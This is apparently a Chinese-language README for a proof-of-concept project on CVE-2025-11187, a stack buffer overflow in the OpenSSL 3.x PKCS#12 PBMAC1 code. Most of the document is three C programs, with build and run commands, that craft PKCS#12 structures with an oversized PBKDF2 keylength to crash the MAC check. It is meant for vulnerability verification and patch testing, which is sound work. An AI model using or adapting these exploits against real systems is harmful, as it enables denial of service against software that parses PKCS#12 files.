OpenSSL CVE-2025-11187 PKCS#12 PBMAC1堆栈溢出漏洞分析与验证
OpenSSL PKCS#12 PBMAC1 堆栈缓冲区溢出漏洞 (CVE-2025-11187)
CVE-2025-11187 是 OpenSSL 3.x 中一个典型的堆栈缓冲区溢出漏洞。该漏洞位于 libcrypto 库的 PKCS#12 PBMAC1 实现中。当应用解析一个精心构造的 PKCS#12 文件时,攻击者可利用 PBKDF2 的 keylength 参数直接触发堆栈缓冲区溢出,最终导致拒绝服务(DoS)。
功能特性
本分析验证项目包含三个独立的概念验证(PoC)代码,从不同维度演示漏洞触发路径。每份核心代码均配备完整注释,便于理解触发机制。测试参数支持自定义 keylength、迭代次数与摘要算法。内存安全分析重点展示 OpenSSL 3.x 中 PKCS12_gen_mac() 函数的栈溢出问题。
安装指南
系统要求
受影响的 OpenSSL 版本范围:3.x(3.0+ 至 3.6.0)。编译器需使用 GCC,同时需安装 OpenSSL 开发库。
依赖安装(Ubuntu/Debian)
sudo apt update
sudo apt install openssl libssl-dev gcc make
编译 PoC
所有 PoC 文件在编译时均需链接 OpenSSL 库:
# 编译第一个 PoC(直接栈溢出触发)
gcc -o poc1 poc1.c -lssl -lcrypto# 编译第二个 PoC(参数化 keylength)
gcc -o poc2 poc2.c -lssl -lcrypto# 编译第三个 PoC(最小化构造)
gcc -o poc3 poc3.c -lssl -lcrypto
使用说明
基础用法
PoC 1: 直接触发栈溢出
./poc1
该程序创建一个携带超大 keylength(4096)的恶意 PKCS#12 结构,调用 PKCS12_verify_mac() 时直接触发栈溢出。
PoC 2: 参数化 Keylength
# 使用默认参数(keylength=4096, iter=1000, sha256)
./poc2 4096# 自定义迭代次数与摘要算法
./poc2 8192 10000 sha512
PoC 3: 最小化构造 + 漏洞触发
./poc3 4096
典型使用场景
安全研究人员可利用 PoC 验证目标 OpenSSL 版本是否存在漏洞;开发人员可借此理解漏洞成因,评估升级优先级;测试人员则可在隔离环境中验证补丁的有效性。
核心代码
漏洞触发核心代码(poc1.c)
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "crypto/pkcs12/p12_local.h"static void die(const char *msg) {
fprintf(stderr, "%sn", msg);
ERR_print_errors_fp(stderr);
exit(1);
}int main(void) {
ERR_load_crypto_strings(); // 创建 PKCS12 对象
PKCS12 *p12 = PKCS12_new();
if (!p12) die("PKCS12_new failed"); // 设置 authsafes 数据
p12->authsafes = PKCS7_new();
if (!p12->authsafes) die("authsafes alloc failed");
if (!PKCS7_set_type(p12->authsafes, NID_pkcs7_data)) die("PKCS7_set_type failed");
ASN1_OCTET_STRING *os = ASN1_OCTET_STRING_new();
if (!os) die("octet string alloc failed");
const unsigned char payload[] = {0x01,0x02,0x03};
if (!ASN1_OCTET_STRING_set(os, payload, (int)sizeof(payload))) die("octet set failed");
p12->authsafes->d.data = os; // 初始化 PBMAC1 参数(使用 PKCS12_set_pbmac1_pbkdf2)
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, 1000, EVP_sha256(), NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed"); X509_ALGOR *macalg = NULL;
ASN1_OCTET_STRING *macoct = NULL;
X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct); // 手动构造 PBMAC1PARAM,设置超大 keylength
PBMAC1PARAM *param = PBMAC1PARAM_new();
if (!param) die("PBMAC1PARAM_new failed"); X509_ALGOR *hmac_alg = X509_ALGOR_new();
if (!hmac_alg) die("hmac alg alloc failed");
if (!X509_ALGOR_set0(hmac_alg, OBJ_nid2obj(NID_hmacWithSHA256), V_ASN1_NULL, NULL))
die("X509_ALGOR_set0 hmac failed"); unsigned char salt[8];
if (RAND_bytes(salt, sizeof(salt)) <= 0) die("RAND_bytes failed");
// 关键:设置超大 keylength 触发栈溢出
int keylen = 4096;
X509_ALGOR *alg = PKCS5_pbkdf2_set(1000, salt, (int)sizeof(salt), NID_hmacWithSHA256, keylen);
if (!alg) die("PKCS5_pbkdf2_set failed"); param->keyDerivationFunc = alg;
param->messageAuthScheme = hmac_alg; if (!ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter))
die("pack PBMAC1PARAM failed"); PBMAC1PARAM_free(param); // 触发漏洞:PKCS12_verify_mac 调用 PKCS12_gen_mac 时栈溢出
int ok = PKCS12_verify_mac(p12, "pass", 4);
printf("verify result: %dn", ok); PKCS12_free(p12);
return 0;
}
参数化 Keylength 构造(poc2.c 关键函数)
static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
// 使用 OpenSSL API 初始化 PBMAC1
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed"); X509_ALGOR *macalg = NULL;
ASN1_OCTET_STRING *macoct = NULL;
X509_SIG_getm(p12->mac->dinfo, &macalg, &macoct);
// 获取 PBKDF2 参数结构体
PBKDF2PARAM *pbkdf2 = PBMAC1_get1_pbkdf2_param(macalg);
if (pbkdf2 == NULL) die("PBMAC1_get1_pbkdf2_param failed");
// 直接修改 keylength 字段
if (pbkdf2->keylength == NULL)
pbkdf2->keylength = ASN1_INTEGER_new();
ASN1_INTEGER_set(pbkdf2->keylength, keylen); // 重新编码并设置回 macalg
unsigned char *der = NULL;
int derlen = i2d_PBKDF2PARAM(pbkdf2, &der);
if (derlen <= 0) die("i2d_PBKDF2PARAM failed");
ASN1_STRING *kdfparam = ASN1_STRING_new();
if (kdfparam == NULL) die("ASN1_STRING_new failed");
ASN1_STRING_set0(kdfparam, der, derlen);
X509_ALGOR_set0(macalg, OBJ_nid2obj(NID_pbmac1), V_ASN1_SEQUENCE, kdfparam);
PBKDF2PARAM_free(pbkdf2);
}int main(int argc, char **argv)
{
ERR_load_crypto_strings();
if (argc < 2) {
fprintf(stderr, "Usage: %s [iter] [digest]n" , argv[0]);
return 1;
}
int keylen = atoi(argv[1]); // 从命令行获取 keylength
int iter = (argc >= 3) ? atoi(argv[2]) : 1000;
const char *dg = (argc >= 4) ? argv[3] : "sha256";
const EVP_MD *md = EVP_get_digestbyname(dg);
if (!md) die("Unknown digest"); PKCS12 *p12 = PKCS12_new();
if (!p12) die("PKCS12_new failed");
set_authsafes_data(p12);
set_pbmac1_keylen(p12, md, iter, keylen); // 直接调用 PKCS12_gen_mac,不经过 verify 包装
unsigned char mac[EVP_MAX_MD_SIZE];
unsigned int maclen = 0;
int ok = PKCS12_gen_mac(p12, "pass", 4, mac, &maclen);
printf("verify_mac returned: %d, maclen=%un", ok, maclen);
PKCS12_free(p12);
return 0;
}
最小化 PKCS12 构造(poc3.c)
static PKCS12 *build_p12_min(void)
{
STACK_OF(PKCS12_SAFEBAG) *bags = NULL;
PKCS12_SAFEBAG *bag = NULL;
PKCS7 *p7 = NULL;
STACK_OF(PKCS7) *safes = NULL;
PKCS12 *p12 = NULL;
unsigned char secret[] = { 0xAA }; // 创建最小化的安全包
bags = sk_PKCS12_SAFEBAG_new_null();
if (bags == NULL) die("sk_PKCS12_SAFEBAG_new_null failed"); bag = PKCS12_SAFEBAG_create_secret(NID_secretBag, V_ASN1_OCTET_STRING, secret, (int)sizeof(secret));
if (bag == NULL) die("PKCS12_SAFEBAG_create_secret failed");
if (!sk_PKCS12_SAFEBAG_push(bags, bag)) die("push bag failed"); // 打包为 PKCS7 数据
p7 = PKCS12_pack_p7data(bags);
if (p7 == NULL) die("PKCS12_pack_p7data failed"); safes = sk_PKCS7_new_null();
if (safes == NULL) die("sk_PKCS7_new_null failed");
if (!sk_PKCS7_push(safes, p7)) die("push p7 failed"); // 创建 PKCS12 对象
p12 = PKCS12_add_safes(safes, NID_pkcs7_data);
if (p12 == NULL) die("PKCS12_add_safes failed"); sk_PKCS12_SAFEBAG_pop_free(bags, PKCS12_SAFEBAG_free);
sk_PKCS7_pop_free(safes, PKCS7_free);
return p12;
}static void set_pbmac1_keylen(PKCS12 *p12, const EVP_MD *md, int iter, int keylen)
{
// 使用公开 API 设置 PBMAC1
if (!PKCS12_set_pbmac1_pbkdf2(p12, "pass", 4, NULL, 16, iter, md, NULL))
die("PKCS12_set_pbmac1_pbkdf2 failed"); // 获取 MAC 算法参数
const ASN1_OCTET_STRING *pmac = NULL;
const X509_ALGOR *macalg_const = NULL;
PKCS12_get0_mac(&pmac, &macalg_const, NULL, NULL, p12);
if (macalg_const == NULL) die("PKCS12_get0_mac failed"); // 解包 PBMAC1PARAM
PBMAC1PARAM *param = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), macalg_const->parameter);
if (param == NULL) die("unpack PBMAC1PARAM failed"); // 解包 PBKDF2PARAM
PBKDF2PARAM *pbkdf2 = ASN1_TYPE_unpack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), param->keyDerivationFunc->parameter);
if (pbkdf2 == NULL) die("unpack PBKDF2PARAM failed"); // 设置超大的 keylength
if (pbkdf2->keylength == NULL) {
pbkdf2->keylength = ASN1_INTEGER_new();
if (pbkdf2->keylength == NULL) die("ASN1_INTEGER_new keylength failed");
}
ASN1_INTEGER_set(pbkdf2->keylength, keylen); // 重新打包参数
if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBKDF2PARAM), pbkdf2, ¶m->keyDerivationFunc->parameter) == NULL)
die("pack PBKDF2PARAM failed");
PBKDF2PARAM_free(pbkdf2); X509_ALGOR *macalg = (X509_ALGOR *)macalg_const;
if (ASN1_TYPE_pack_sequence(ASN1_ITEM_rptr(PBMAC1PARAM), param, &macalg->parameter) == NULL)
die("pack PBMAC1PARAM failed");
PBMAC1PARAM_free(param);
}
漏洞影响
受影响版本:OpenSSL 3.x(3.0 至 3.6.0)
影响组件:libcrypto(PKCS#12 MAC)、providers(PBKDF2)
攻击向量:解析恶意构造的 PKCS#12 文件
影响后果:拒绝服务(堆栈缓冲区溢出)
